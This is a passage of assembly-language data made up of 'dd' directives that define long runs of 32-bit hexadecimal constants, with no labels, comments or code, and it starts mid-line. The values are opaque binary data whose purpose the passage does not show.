98624F86h, 23142201h, 1B4F337Bh dd 0BBC5578Ch, 1F15B7D8h, 5EE5F183h, 2C9E6037h, 4F9E821Ah dd 4955493Fh, 0BCA72C5Dh, 0B9914763h, 2E4CA430h, 0C9A54999h dd 9582AF66h, 0AC7420B0h, 1AAC30D2h, 52481793h, 0F0C13EC2h dd 0D9DF2DF8h, 0EFE251EBh, 2B4D290Dh, 0DAB0D484h, 3924E0AAh dd 0D7C67476h, 0DBD9BD04h, 20B317D9h, 0E3D2BC54h, 0C0975FFh dd 8C129C08h, 3D28D066h, 0CB88D97Ah, 0C6793C11h, 4524FDEh dd 702E13D6h, 0BD1C8338h, 70F2295Ah, 0D1AE45EDh, 6B2BA636h dd 0E86C9C78h, 72222B0h, 0A7ECFBB4h, 0E35EDCCAh, 643E8ABFh dd 0CD1F1B00h, 84FA954h, 979214CDh, 99EC031Eh, 745D5D90h dd 0CA5A3CF0h, 75891F71h, 1364A35Eh, 0F8DA6872h, 24F0B7EFh dd 1B8BED26h, 0B137D2D1h, 0FF795147h, 0A04048D2h, 6B883306h dd 8B5523F3h, 0A8F2BF6Fh, 0D26FF056h, 9AC1E47Bh, 0CBBFFA44h dd 0EEC19464h, 3F2B470Bh, 0FB01DA06h, 4200A5ECh, 7D27DE07h dd 6FFBEBBCh, 6124314Ch, 0AB397B22h, 0FF045647h, 3CCBAA00h dd 0AB611F5Fh, 535847BFh, 0E4F8F5A8h, 0C4CCCEE5h, 0BE6BA7CFh dd 7B09F96Ch, 3D99647Ah, 504BE8ACh, 0BB3D1059h, 6058D0EDh dd 0AAA9A717h, 6EE6CE58h, 47DC4D8Ch, 13C1FCBFh, 13598752h dd 396938Bh, 95D0E09Ch, 1EB301D6h, 3CC32D7Eh, 83BC746Ch dd 3B84D514h, 5C0EBF72h, 45AA4951h, 9C30A37Ah, 0A5F56B84h dd 0F7CCC744h, 9F876C18h, 9C292559h, 0E5CFC7DAh, 4C139133h dd 0D61EE401h, 3E45D55h, 318ED7C3h, 1AF948C7h, 620ABF94h dd 665FE538h, 0C0B99D85h, 4D952FDEh, 3DD09892h, 8195FE0Ch dd 7EF238B1h, 0D94BE7E9h, 7D3A0FFDh, 0CE3787AFh, 9EC0E016h dd 4D962262h, 38C6C1D4h, 9F3EFE9h, 4A1DFFF6h, 0EC1F2A2Bh dd 0ACF52444h, 5090036Fh, 0A77856C9h, 1B96C138h, 26F6DF02h dd 56E20D44h, 8EFB5FBBh, 0D8F5D689h, 57429D73h, 7A9CC87Fh dd 0D91B12CBh, 23DA1FB9h, 9598AC6h, 0A510C1BDh, 98742B5Eh dd 263CFB30h, 43701779h, 0D039B9B9h, 0DABCAF10h, 0D4CC6103h dd 0BC6739A7h, 0CAE34228h, 35C1D5D2h, 0B2CD5436h, 15E922AEh dd 2B0FB7F4h, 0ACD5C428h, 0FA776D79h, 5BFA3202h, 55381381h dd 28B1EC8Ch, 95B8B9FBh, 4C8200Fh, 8F21D853h, 359CE506h dd 510445DFh, 8370BD98h, 3CD9DFA5h, 9C3365D5h, 5E49C7DEh dd 0FDF84F10h, 332181B0h, 0CBAD29BFh, 8BFC3F2Ch, 166905C5h dd 0EFB7F8F8h, 0BD954F78h, 9296603h, 19A10B61h, 0E3632697h dd 0D249169h, 81A164B9h, 7C71EAFAh, 0C0D73BFFh, 2A797E4Dh dd 0D4D56D6Ah, 0BAD3629Ah, 46860343h, 5BAE1453h, 0A12B5B01h dd 0E796E38Bh, 44566C77h, 0F7F167DBh, 0C35277A7h, 0C7BFC56Bh dd 0DAF9DC07h, 90D40352h, 0DF47BF9Ch, 6A127C30h, 0E9AACFCFh dd 0C8945059h, 2DD6EB96h, 0B7AF76B7h, 7751D30Dh, 2C987426h dd 3F80A058h, 8BDA5A76h, 0E810C327h, 33424CA6h, 72C6AB20h dd 0CE90A8CEh, 1BB5AEECh, 0A7471B57h, 2BD1F9D4h, 8BFD7C2Ch dd 0BA9D4023h, 686545D2h, 8630804Dh, 2950E414h, 118795CCh dd 0AC805C52h, 0FB75B979h, 1680DCF7h, 0CE9CAD54h, 38B4404h dd 6B58E85Bh, 950D74B4h, 43E89119h, 0BE381FF8h, 9DEEB802h dd 1CDF82Ah, 4046B4Eh, 583B117Bh, 7CC9487Dh, 456B29C1h dd 81FF350Fh, 0BE613841h, 0DC53A908h, 243F7FFEh, 671225F4h dd 736E0213h, 7241E0FEh, 18F61F9Dh, 1AF56246h, 0B7EFF888h dd 31E56651h, 39B89592h, 0C212B048h, 0C7BE754Dh, 1A6677E9h dd 28592626h, 0C7835FE6h, 59129FABh, 0A297B6A2h, 0B3669057h dd 1CAD3FD2h, 0D2545307h, 0DA3FAE01h, 2BFA78B1h, 479E5A93h dd 2A840041h, 400B4E54h, 43C92A66h, 0AF2E59DDh, 0DA3A91D8h dd 3F40AAA7h, 3B172EB5h, 0B341A311h, 89456422h, 0B9094A4h dd 0DC514ADCh, 1892B69Eh, 0B6A49CE1h, 5CE8AC65h, 79B5237Ch dd 0E20CADBCh, 179DA712h, 73BDADCCh, 0DCFF6C2Eh, 0DFD0796Ah dd 60372997h, 0A8E1211h, 0EF60D163h, 0DAC13019h, 0CA64820Fh dd 0BE12D384h, 56D4EB39h, 0A35CFDB8h, 0EE31F61Fh, 1EFC771Dh dd 798E36BEh, 34115F80h, 0E7D2E65h, 6A7878DFh, 838DF86Bh dd 45073F4h, 0DC03193Eh, 0ED1E3AA5h, 0F8974D2Ah, 9C735943h dd 51BA2722h, 47108709h, 8BA72A7Eh, 0E7A4AC89h, 415BD61Eh dd 9B7EA936h, 0DC8CE7ACh, 4E4D8276h, 0CBD9EBC6h, 65D16C3Dh dd 80346D78h, 42D7F37Bh, 92734E75h, 0AD7CA7E8h, 0C45D9E12h dd 4B35FF29h, 1E8001ECh, 5A9F5AECh, 3423084Ch, 4854ADABh dd 2774903Ah, 32BBEA80h, 0C0FA78E4h, 1B2BD8A9h, 2A840C32h dd 400B4E4Eh, 0F9C19E6Ah, 75BBD187h, 44AA149Bh, 1D5EAAE2h dd 0F5B426A6h, 9A9EB3Eh, 0BA7631A7h, 0FB3B62D1h, 5C3FF822h dd 0A15AA49Eh, 0E971AF81h, 998E5219h, 98523B6h, 0DF4B796Ch dd 98D1AE60h, 0DAFC1D6Ch, 90D6D2A7h, 696B2D6Ah, 701455D2h dd 89795915h, 44B65EE4h, 8524CC38h, 0A755A189h, 0BE13DD14h dd 56D46925h, 22CE30A4h, 5D883353h, 7EC09ED4h, 40FBBEBBh dd 0C1DFA325h, 426D2E71h, 81856F53h, 0AC0C3FE5h, 0BED406B6h dd 63186640h, 960DAA87h, 0D9976CBFh, 0B06B3A64h, 139BC8A1h dd 0F1648463h, 43EDF17Eh, 8637F540h, 36CE578Bh, 62FDE7B4h dd 0DE9EDF6Ah, 299933DFh, 75BBA840h, 0DBB8EF5Bh, 2BA077F0h dd 4F78EB7Dh, 0BCADFA0Eh, 0C67CD2E9h, 0BDDA8A1Eh, 1B0EA63h dd 4E862C5Bh, 32241B65h, 63391493h, 0B3A94ACAh, 2E26498Bh dd 660E5FC7h, 0C779852Dh, 0F83848B2h, 0ED885389h, 0CBB3E488h dd 0EE8D973Bh, 136BD0DDh, 4B87A6D3h, 10B0EF3Dh, 6A8C5DDEh dd 7F15AEBDh, 0D46731ECh, 0BA1214BBh, 51598BA5h, 20108CDAh dd 75676351h, 0A34147E4h, 0FDF35F7Ah, 627945ACh, 20632716h dd 0A65FAD44h, 5A3B3A41h, 1D1B7AACh, 368056C2h, 21C705C9h dd 0AA1B442Ch, 850C99B1h, 2A9108A9h, 0BB9FD0FAh, 569BB362h dd 0DE9BFAE8h, 8D28B519h, 684B25E7h, 795EDBBCh, 4CD7AC70h dd 0BD725232h, 0C48EBE2Ah, 20893FF8h, 49A65E44h, 706EE7CFh dd 86E75096h, 0BB6B6CC7h dd 505AB59Ah, 13A7EB89h, 0AD9B949Fh, 3E258568h, 4C67F9DDh dd 0F930B4CEh, 753C34FEh, 8A411BE9h, 0BFF22BF4h, 608414CDh dd 57F12847h, 7D75927Ah, 0A741A51Bh, 0B8BB8184h, 908F7462h dd 7812974h, 44354586h, 7BB0FD53h, 0B125E065h, 5A3C3DEh dd 4C214D97h, 317EE772h, 0ECA0ACCh, 2BFA6964h, 0A7114B9Ah dd 2A407591h, 0AD542E81h, 0AB8EEAB6h, 676BD0ADh, 0C01FBADBh dd 0A48D2B59h, 0C6C99AC6h, 8E1ED193h, 0C898B06Bh, 0FAA11F5Eh dd 96D2CEB7h, 9E55771Eh, 3C509451h, 0BB807F18h, 0E517A8B2h dd 0F97D31ECh, 563603Fh, 248424C7h, 130A0E4Dh, 69D581F3h dd 0F370BED2h, 3A1D8DF8h, 8EE821EBh, 6B4F2C76h, 21DAD78Ch dd 27DB13E6h, 135C2D8Bh, 1A7316E3h, 0A2C54011h, 97B4EAD8h dd 868050BBh, 8456EFF9h, 527D7EFDh, 8105BDA2h, 171601Bh dd 5EAD7AB2h, 696ADF02h, 0B08F9046h, 0CC3EA058h, 35D2C5F1h dd 23D217CCh, 0CB9A5451h, 0F80EE443h, 6467F906h, 1F9E1F0Ch dd 0C47398BBh, 0A64AF7A4h, 0FCBB6A33h, 888C142Dh, 8C73185Bh dd 76F79269h, 2FA337F7h, 7F65FF4Dh, 90BFE195h, 0F1358A74h dd 44DF97EEh, 0B5626C53h, 0A1E5146Ah, 4C601857h, 0A06C8E90h dd 3E01B406h, 0CCE3C12Fh, 0A83C99DBh, 0BC1BFC36h, 0D54C388Ah dd 0D3BFD102h, 284A9033h, 0AE822EE5h, 0A1445150h, 8F564FCh dd 8E8C11E3h, 0EF5023FDh, 0ECDDFF42h, 790940Fh, 651C010Bh dd 6D40B589h, 0BDB494ADh, 8FCAF21h, 988F5789h, 8D8CBAF0h dd 8B2EA7EEh, 0D84EAA2Ch, 0B91D6059h, 966B7458h, 0CBF6568Bh dd 3A0CE654h, 434ECAEBh, 368286E1h, 43C8DF71h, 3B182CBFh dd 56D88DFCh, 0CB6414E0h, 753A6379h, 6B24D9A7h, 91193BFBh dd 7BAB6267h, 0FED0E9B4h, 0D8FA43CBh, 0E98E6B53h, 41D97B7Ch dd 629AE74Dh, 7D8C4256h, 72906993h, 0AFCAF8F1h, 33A4C3F8h dd 8D64DC7Ch, 97B4F16Dh, 2D9817E1h, 0FF169B4Ch, 0DCBC13F6h dd 0A18A9819h, 3C2EAE58h, 8A8ED53Fh, 8539FBD0h, 8869937Eh dd 8FA749BDh, 0D68A7A4Fh, 0D8061D27h, 0F7386A74h, 442F77EAh dd 5EE4CD53h, 3528EF65h, 38609AE5h, 4C230F60h, 0AA095B06h dd 330E6EE1h, 0D4901A8Eh, 0AD6BE778h, 0EE077472h, 7FA9EE9h dd 0DEB568CCh, 837E2EC4h, 765451CAh, 24B0EF4Ch, 72491EB5h dd 0C743AEA9h, 0C367A4E3h, 0F73D4905h, 0F6A675AAh, 93AA825Ah dd 0CB2494CCh, 0FF4A02A2h, 0D4DDA91Ch, 0F7DF1527h, 0C436AB71h dd 0A300E047h, 0D1224C66h, 1D6D4E52h, 0F86CDEF7h, 36ED87EDh dd 280F61FBh, 96164175h, 9CCCD273h, 44CE212h, 0FB05B076h dd 2164975Fh, 9AF26B80h, 97DE8F33h, 911F2F51h, 8454BB57h dd 37347A1Eh, 79867077h, 5662D6ABh, 0BE09FC96h, 828C316h dd 0FF3B47Fh, 0A7B3AA3Ch, 0D9D8B79Dh, 55518F70h, 44E71775h dd 2696A185h, 0D1E4098Fh, 4C5E34D0h, 573C1E32h, 2F1E90EDh dd 9B1B693Bh, 8A7E5040h, 0DB08E7DBh, 0FC546891h, 33C5EF0Fh dd 0E9D1A012h, 0C574FF8Eh, 14B7AFFDh, 4543A97Bh, 0E6DD9D8h dd 4ED7158Dh, 30A5DFA8h, 0B7A06E1Eh, 0D1F9B4F9h, 0FB8D6EB2h dd 2B07ED5Bh, 54ED090Eh, 0D8007A43h, 4EBF17EDh, 0C150E410h dd 1B2E5AA1h, 3B15B947h, 0A0331020h, 1A8C11AAh, 66C651C5h dd 2498A0F7h, 0E790945Dh, 955B72D9h, 10ADC994h, 0FF5B932Fh dd 0E7ADDFE1h, 9ECD2B66h, 0F28B31E3h, 390B602Bh, 3690C987h dd 51C7B84Fh, 9413422Fh, 241938E0h, 7F3A6956h, 0ABFD9B17h dd 0A9F4B2A1h, 27D353C9h, 9D77D0FAh, 0E5AF524Eh, 358A86E4h dd 997F3F84h, 87B431BAh, 3CC47790h, 7811310Bh, 0BEC3F84Bh dd 0C9F9F681h, 899DE751h, 45286FDh, 60742300h, 47954440h dd 8839A484h, 4C2D081h, 6614CC3h, 0A6886EF5h, 915C7F0h dd 0F8F3867h, 591CA502h, 0AC78656Dh, 0FE5FDB6Ch, 0C91BB65Bh dd 81BD7CDDh, 0DE4CFF5Bh, 0F8FD9269h, 1F05BE34h, 0F58A7EBCh dd 79EE9E27h, 0F8B03A4Fh, 2DE32EECh, 4E46658Bh, 0B13C3F0Dh dd 2850F647h, 88AE8297h, 0C601100Eh, 0CCF0C7A8h, 703AB13Dh dd 6C3227E7h, 2AA3AADFh, 9EBF0095h, 0FD197C8Eh, 1B364610h dd 0A675BBB7h, 2DE91F29h, 0CD36A661h, 0DF6051E8h, 535D6636h dd 1AD5D8C5h, 48598A49h, 6DBEB569h, 8234D197h, 0AE8A4728h dd 0EBC7F869h, 0DA54C1E0h, 0DB002E3Eh, 292BDB35h, 0CC5A2BD3h dd 44179BFh, 9591BD82h, 0A6A0AE42h, 0AF795E23h, 8A5BF138h dd 0E83D5C93h, 2D5E73h, 86CFBE8Ch, 0CE5FB600h, 611A8554h dd 1E7EF958h, 22EEFA4Bh, 7BC13ACDh, 0BE112130h, 0D404C382h dd 5622DF15h, 7AD1E311h, 0E1777026h, 0F9172059h, 879BA3A1h dd 750A49E3h, 83DE04DAh, 947AC34Eh, 77F2AFA1h, 663FAF3h dd 0C1764F72h, 6782139Bh, 0B0CA12FAh, 0F732ED2Ah, 0A5BF375Ah dd 1D9F028Ah, 0E35A1907h, 17273DB3h, 6C4BAD64h, 253DDD91h dd 37A706B6h, 244FF23Dh, 95FFF3ACh, 0F9B6D95h, 4D7D95h dd 74699397h, 2A05CE8Bh, 680012C7h, 0C670EBADh, 9268D952h dd 3D46CF02h, 1819FF5Dh, 203D0163h, 56FA8130h, 0C335FE15h dd 6FADA4D2h, 0DF43F3E1h, 4F15C7DBh, 0B9C7AB14h, 3F5C6C1Ah dd 45DC5B0h, 2F57AAA8h, 19C368F8h, 154149F5h, 0DE7BB719h dd 9A09C909h, 966F225h, 0C93471BDh, 0DDF6FED1h, 3048853Ch dd 9F72AC01h, 0D4F89DF4h, 0FB9EE098h, 0EA49344Ah, 652A04h dd 1870CD4Dh, 0A9024573h, 0D632A8C8h, 3CC9D551h, 958A26A4h dd 0F5E4CFFBh, 0D544C1F5h, 4620742Ch, 8D72E4D5h, 8C8D8861h dd 8B50AD76h, 607B4ED2h, 75C97AC5h, 0F8742687h, 0E703E409h dd 8EA97C05h, 80BA7EE4h, 0DD190BBDh, 719BB566h, 0CC12168Ch dd 0B2301A1Ch, 0BA2365A1h, 0B2999B7Bh, 0AD2BF6B0h, 727C6F1Eh dd 28011A3Eh, 7B4AAEh, 0B2EAF5F2h, 96CCB7E1h, 0F4F903A0h dd 0AE18A6Dh, 9D30CB42h, 8D35D763h, 0D7F9A791h, 0BB759897h dd 562C9943h, 7AFE1347h, 358F8E1Ch, 0A608C9AEh, 0A621A332h dd 0C7F77000h, 0BB2D2433h, 0FE2B78C0h, 43C57FE2h, 85B0825Ch dd 0E2CF1587h, 4A141C18h, 5C97F95Fh, 3BD45713h, 0C81C6729h dd 11264B4Ch, 66E5DAEBh, 13E1DECAh, 5E59BE23h, 2F89C13Eh dd 2320A811h, 613CDCCEh, 54497CC4h, 0C80E0E10h, 1E52DCA3h dd 6FF72188h, 0D2819CEFh, 0F055CC05h, 0DCDBAFD8h, 0B42ADEFEh dd 0F0EDAFCCh, 0C725DEC8h, 8273041Bh, 0AB63D81Fh, 0B714A53Bh dd 85CB90AFh, 882DDDDh, 43B28D97h, 8FA825h, 0BB09A696h dd 1F224435h, 0F088A9E3h, 0D766B378h, 7923DD3Eh, 29DAB280h dd 9ABA2D0Ah, 1C839CCFh, 8A01E7A2h, 569EAA7Ah, 9F2F5A7h dd 73036879h, 49528D08h, 0F3391CD8h, 4B78EFCCh, 739AF4E0h dd 7F3D3F8Bh, 26E90955h, 40B0826Dh, 5BD78FF8h, 2AA3BB3Dh dd 90109AAAh, 0A60A48Bh, 80B6EB5Fh, 9B241079h, 0E2A16AEDh dd 6AF31F92h, 0D1F98540h, 264D4705h, 0FF8BF716h, 8FBF5738h dd 0AB2FF08Bh, 0E73DA649h, 0CB4FE9E3h, 8AF16CB3h, 98BA8CA7h dd 7FE4E614h, 0BB944A10h, 6A5EA725h, 74EFE009h, 6DDC3E87h dd 15E0E4E6h, 0B7ADCD17h, 0BC8C2221h, 1B794436h, 46891B42h dd 35C0245Ah, 3D8B7D72h, 203F4539h, 64339967h, 0BADC5539h dd 0CE2D3DDh, 5BBDDD38h, 8FD4BE7Ah, 61B742CBh, 2B388E00h dd 78C1A22Ch, 3A99D2FCh, 42D9C87Ch, 9526FEAAh, 4C6061A1h dd 4C72C9B8h, 0E5C8B223h, 0F81C4E8Ch, 40C38EF4h, 5B7A30F6h dd 0C71CCC1Eh, 37B9570h dd 3A3F8C4Ch, 0CA615EC8h, 54BB842Dh, 0BFA161DAh, 5833F18Fh dd 0B1C4B327h, 0A1E76C8Dh, 31BAA626h, 0C80D1364h, 0EC23A89Dh dd 574EFC5h, 6424C170h, 6B5DF264h, 52D1BE3Bh, 1997E92Ah dd 41775D6Bh, 683229B7h, 0D1E3B0DBh, 623473ECh, 0C73DA2DDh dd 6A005E9Eh, 717CE741h, 0C863E457h, 35940DBEh, 0BA6E8E67h dd 3D13C29Bh, 0D3F1807Ch, 0BB15B5FCh, 0F5DD9C4h, 0BAB8B9D1h dd 0E03F9F5Dh, 43383583h, 4EFF519Eh, 1C0556h, 775E449Eh dd 77D2FD2Dh, 0C3844164h, 6F4B63Dh, 31089C1Bh, 0EAE75BD4h dd 0BF9E829Eh, 0A72FB3FBh, 6E060A9h, 0F3ACDF02h, 707E8B44h dd 0E66149C9h, 0ADC356C0h, 1DE339C8h, 0D20A58FCh, 6008187Dh dd 0EE5B4E0Dh, 22BB970Ah, 3D8CEA56h, 7E2F4AD8h, 1FC7D8D8h dd 0F4C681FFh, 8C11DD5Ch, 9BD1963Ch, 0A39F6A6h, 0F8877EE8h dd 41DA6C73h, 6995376Ch, 544B9C88h, 3C117168h, 37ECB984h dd 11355944h, 0D735E2A4h, 14E55824h, 367ED28h, 4721C837h dd 2A7DEFD7h, 0BF4E40F2h, 2D3C2E3Fh, 0CC0C6BF0h, 0A20F1FC0h dd 0F538E72Ah, 478F71Eh, 0A2B98B31h, 0E2C75BEFh, 14498706h dd 6DAAD814h, 0FDA48A54h, 0DC075765h, 0D111F854h, 78C39A7Ch dd 32AA6C06h, 80F3C34Eh, 8262CDE4h, 51F38C8Fh, 58C0491Dh dd 0B2035669h, 0A646E177h, 110F1A2Bh, 0AD4880E1h, 90B42457h dd 0AD078EA3h, 0DCD54A54h, 0B4B06212h, 72D5509Ah, 88D206F0h dd 6CDE1645h, 3C4D3EE0h, 68C14443h, 247FA7A4h, 0A5A19B7h dd 86991B62h, 53C8242Ah, 8420DC78h, 65CFD53Bh, 0FE85E6h dd 0ABF991BFh, 831A4928h, 3ADB2472h, 6F3AE300h, 49BC88FAh dd 0A2384765h, 0B4489074h, 75328352h, 0F28A14D8h, 76126172h dd 8D2C55E9h, 66B14132h, 0A3EB7D6h, 5B027694h, 854EB6B8h dd 0EDE58532h, 650F7137h, 94F643F1h, 27799B00h, 8BAE6D1Dh dd 1376E69h, 6612CF07h, 8B9FA906h, 97B14AF9h, 719437D0h dd 0BB962176h, 1D8197EDh, 24AF4A8Ch, 0E7AFB219h, 679A77A7h dd 0C3DEE5F7h, 0C8BD7EC9h, 5C866A6Ch, 63D3E915h, 6E67B56Dh dd 3D13A195h, 7275E865h, 3FE9170Eh, 4469D91Dh, 68090760h dd 2146601h, 905FA83h, 0C82F4569h, 4B265670h, 0AD9465EEh dd 0A4C9118Ch, 1375CCCFh, 8BF178E6h, 1FBD8B5Ch, 0FFC04EE4h dd 2F15685Dh, 0A4D25539h, 2790C67Bh, 0CB2D8255h, 1120006Dh dd 0B52D2B1Fh, 0E3B90471h, 1443DA07h, 619D11FBh, 0ACCB8BB6h dd 39C471A5h, 40BD7C4Ch, 0E9CCA976h, 0BE41DEE7h, 13B46EBCh dd 131CABC5h, 0DF8ACC9Eh, 7B68AC87h, 0C8A0CE3Dh, 1AAB4989h dd 0D3DECA8Bh, 7F954FD6h, 0D1EED9D8h, 62712E33h, 0C01335Dh dd 0FA1A41D5h, 917628BAh, 3F962E52h, 0C2C47315h, 9F752841h dd 0B0F81340h, 2C745941h, 946A5A90h, 7B39310Bh, 0CC66E8CFh dd 95A0DC9Ah, 8B77AC0Ch, 4C16BAC2h, 0A9B8640Bh, 0A85FDBD7h dd 0D823B52Ch, 6F06915h, 0C2E3E794h, 0E5C36510h, 864F35Bh dd 0BFADF669h, 9834BA2Fh, 6B0E08FAh, 0CF25F228h, 90ED0407h dd 0F5EA2A49h, 936AD006h, 295E929Fh, 79B64A12h, 7AD518BAh dd 19C285ACh, 0BA378368h, 394FC94Dh, 437245E6h, 207C3549h dd 982B0104h, 9BC4B9A2h, 74F434CBh, 0FA9F22A7h, 0C0EB1380h dd 2F9B0E9Ch, 7F5E521Fh, 84E6E375h, 0A29F724Dh, 0F64C4440h dd 8D415BC7h, 0F2A8EBADh, 67AD01EDh, 8371A84Eh, 635B7446h dd 942C69EDh, 34160E45h, 0D5019568h, 0B6114165h, 50ED7E5Fh dd 3F135577h, 1622085h, 22D40BEEh, 255AFD88h, 270F3D14h dd 65DF7FD7h, 0BF096657h, 3D18ED52h, 8D3D32D0h, 0BFA2C50Eh dd 765EBBF5h, 0F871AD8h, 443AFECh, 7C277130h, 3A18D4C3h dd 0B4FD3E34h, 846A1218h, 5010D3Fh, 0D06493E0h, 0ABB5C5BAh dd 654056h, 5A14B03h, 0E5B6BFC5h, 75A13429h, 0D4BAE4C3h dd 6CF454AAh, 0FE8CBF1Dh, 78E26D92h, 42F6BA29h, 8B1D713Bh dd 7D8AE975h, 8027E072h, 3C618C71h, 916F724Ah, 7695BC71h dd 0D5D586D5h, 880B9AE8h, 55A84A46h, 7AF40A33h, 29C2056Ch dd 277A80E3h, 68850A1Ah, 0DA388B1Dh, 23D054CDh, 56F39D6Bh dd 1EF0FCFCh, 88E4A9BAh, 7744C9D7h, 0E3541119h, 38D247B9h dd 4790E735h, 6EE6E019h, 2400D338h, 6175BFDDh, 0BF8A4C67h dd 0AD024C9h, 33F9945Ch, 19B90809h, 5A18E0B3h, 0E68A3188h dd 9CBA916Fh, 7FC254F4h, 107E4DE3h, 76C42AE4h, 0A29496BDh dd 26747DA4h, 0CC61ADDAh, 3BD15589h, 0A7799D04h, 0ABFF5DDh dd 9C16AE93h, 6A4D18B4h, 0F810AEABh, 0FE9BFAAFh, 0F42BCB3Ah dd 7D13156h, 558941F5h, 6B599AA2h, 2084AB34h, 0C8FD3259h dd 81FD58A2h, 0E70E009h, 5CC3A803h, 90E554A6h, 7B1A6FF7h dd 990B5520h, 9C9D6DB7h, 3A8FA489h, 19116307h, 2D6069E5h dd 0A7E6E99Ah, 79D4E25Fh, 1A7ECB65h, 0F96DFA42h, 334D7263h dd 557C817Ah, 0B4A450E0h, 772C901Ah, 6E88FE75h, 0A6619DDFh dd 32216BDAh, 0A342E016h, 7BFB07C3h, 19538F2Ch, 0C98FCA4Eh dd 256877D5h, 409184DDh, 0FBBC89E6h, 123EC409h, 40555574h dd 0A43E89EFh, 2D82C1B8h, 0D4055A19h, 0AC14A8D9h, 2DAB4937h dd 11C6C5Fh, 0B4330C8Eh, 0B32E7DFDh, 2E7E4A18h, 0E4DCEDE5h dd 8C1CCFD3h, 6032E733h, 4E6C6199h, 0F1877C63h, 0A028C0A9h dd 8304905Fh, 1C7F8DEEh, 0B6C7C0FDh, 8B06F5Ah, 15597C72h dd 0D36B1D71h, 0ED173636h, 1EF3C440h, 0F2F29D50h, 0C5D12B1Dh dd 332329D7h, 0C3717A4h, 0FBC0DC7Dh, 9D4AD852h, 16CB2EBh dd 51956B24h, 0E97AFEAFh, 6584AA20h, 9E64747Bh, 6C375E8Ch dd 1BAF843Fh, 39BF77F4h, 71F509BFh, 7E8CC86Fh, 0C00E1DF0h dd 0EF34ECA1h, 1EEADD13h, 571799A0h, 2C6C5160h, 993CEF0Eh dd 243BF86Ah, 0EC93F342h, 0AABE8CA3h, 70C6161h, 4449AFFCh dd 0A6EE623Bh, 0FBD2CFABh, 0B174CBEDh, 426D87DDh, 88AE2D1Eh dd 0AA2A9D43h, 42690F3Ah, 0D2DA0F34h, 25D608ACh, 484DDB77h dd 8EA564B1h, 0EEB545CAh, 1220A87Bh, 8D5B5A7Bh, 5935BAADh dd 0D5BDD453h, 0E205529Ah, 891E810Ch, 4BD5BFEBh, 52D286C2h dd 3F05CDE0h, 6E353E2Dh, 67CBBE7Bh, 4D5A5086h, 86C9AB4Bh dd 0A5062F4Bh, 0E7CDC8Dh, 0A1D4B24Dh, 772BD0A1h, 52844998h dd 762DD0ACh, 41C76820h, 3856CC3Ah, 0BA85873Bh, 14F0481Ah dd 0E53F1499h, 887DD34Dh, 67A445CDh, 0DED2EED9h, 0F2D5A61Bh dd 4FBC5A18h, 0BF039C56h, 794FEA82h, 8B7C8FEFh, 4EDD2B6h dd 6B75D1D5h, 0A086B137h, 202E5440h, 7370C06h, 9579470Ah dd 61EFB589h, 5961414Fh, 3A31B473h, 7F9603F4h, 0B6B8670Ch dd 307E5E85h, 0FB5A7E3Ch, 8F449DFFh, 8253F0CEh, 0E2E91B57h dd 0A403B30Fh, 0A9B3F6DAh, 0E8C5473h, 4959C870h, 4ACC7A5Fh dd 0FAE77C51h, 508118BDh, 0B5A5043Dh, 7648A84Dh, 27DB718Dh dd 3D7A16C0h, 2E64FA74h, 2F4741C6h, 5E9BF27Ah, 3FECDB8Dh dd 22472136h, 0C9E5D53Ch, 0A05AEB70h, 0BD3EAF7Fh, 19CDAD6Ah dd 781D5A9Dh, 9012701Dh, 6F5D6CCAh, 114685Eh, 0DFD69471h dd 0C164FEBFh, 14809DA5h, 0C2423D7h, 147842D6h, 432CE3FDh dd 0EC004EDAh, 3ADFC5F9h, 736A9557h, 855F2199h, 41149262h dd 6C33C180h, 7264586Bh, 0D1C8DB07h, 775351FDh, 0E9636D8Dh dd 0DFF7521Dh, 10324BC9h, 74DDB18h, 0F08F2787h, 7CFE4E35h dd 561849C8h, 7E05CA85h, 65C2AFh, 895BEAF0h, 62494BD3h dd 0CD8FB872h, 3F0E9284h dd 65C75C3Fh, 0E524CBC1h, 0D8BF2A61h, 441D14FDh, 93AF7846h dd 4E1C4B9Ah, 417868F5h, 0EB23DD0Ch, 0A4358E42h, 360D30E4h dd 0D931158Eh, 1C3D0777h, 0F07FA68Ch, 0A9347A01h, 0DC693C1h dd 32D02967h, 0F7C0DE77h, 6B47782Ah, 360D1261h, 0AB79458Eh dd 869AAEFCh, 48B2A5DCh, 2BFE03CCh, 0BEB48D63h, 2B42F7AAh dd 375A931Ah, 2A3A987Ch, 8F0E12A8h, 0E96987E6h, 0DE7380F5h dd 0B4818BA4h, 0B6339126h, 84F2B791h, 891F4C99h, 8A129043h dd 13590E8Eh, 4D4FB640h, 67FDFE93h, 2E6A4FCAh, 0D8CA28F5h dd 0D0E24CA5h, 6721AD6Eh, 1340D1A0h, 3C827688h, 0E43585EAh dd 0EE8D8D91h, 7D343A47h, 9E56FB71h, 22CDE2ADh, 0E97CD0F8h dd 88511039h, 7739652Eh, 30EA44Bh, 33FDF140h, 5812AFB1h dd 0F91FF778h, 0FAB40664h, 74F996ABh, 0E3C26A2Ah, 5A6FDA50h dd 61D863F0h, 179B99D1h, 377D275Ch, 0FA660B7Eh, 0E921DE48h dd 7FB666FBh, 8E347FCDh, 0BB3C3EE6h, 0F91FBF16h, 1F8F8A32h dd 45E65BF6h, 382D9087h, 0E61A6252h, 0CC74D68Bh, 526ACB29h dd 13398513h, 0D02BF2Fh, 0A5DF221Bh, 2228A53Ah, 0AFAFB1E7h dd 1865A66Ch, 48E6BF64h, 0BA14E4AEh, 5C90DDB9h, 7BB8680Fh dd 8EC27EE1h, 0EAE9067Bh, 2ADA059Fh, 3A8649B9h, 6C21F2F8h dd 9C49C099h, 67EBE2C9h, 90D52C23h, 17FCED93h, 0DEDC04BEh dd 98385554h, 2888570Eh, 0DC56F813h, 0CF37E284h, 95A89DF0h dd 4F491FCDh, 0EB2046A0h, 93812DDEh, 1D6ED198h, 0F0BC20A2h dd 7F736FB5h, 888D571Dh, 408FFE49h, 6B7397C8h, 0A074A961h dd 0A0B85A68h, 6D166237h, 0E9FFC574h, 10386619h, 18590DAFh dd 0CEB7BDC5h, 0ED12C66Ch, 1D7E3785h, 82BD28A2h, 4F927EFCh dd 9A89C4B3h, 37240E0Eh, 87D09C7Eh, 2E4C5F20h, 9778A7B1h dd 77B8AC48h, 4B50A70Ah, 4867165Eh, 47B7E3BDh, 0E1DA8B69h dd 4BA0CE7Dh, 334804AAh, 0A842DA12h, 330B60B3h, 0CC30D5B2h dd 0CC27AB36h, 0D21295ACh, 389CD32Fh, 7B8E20DAh, 0F7F4728Ah dd 0C3F69902h, 2E792B17h, 264E41B5h, 993BCDA8h, 0C74FB0DFh dd 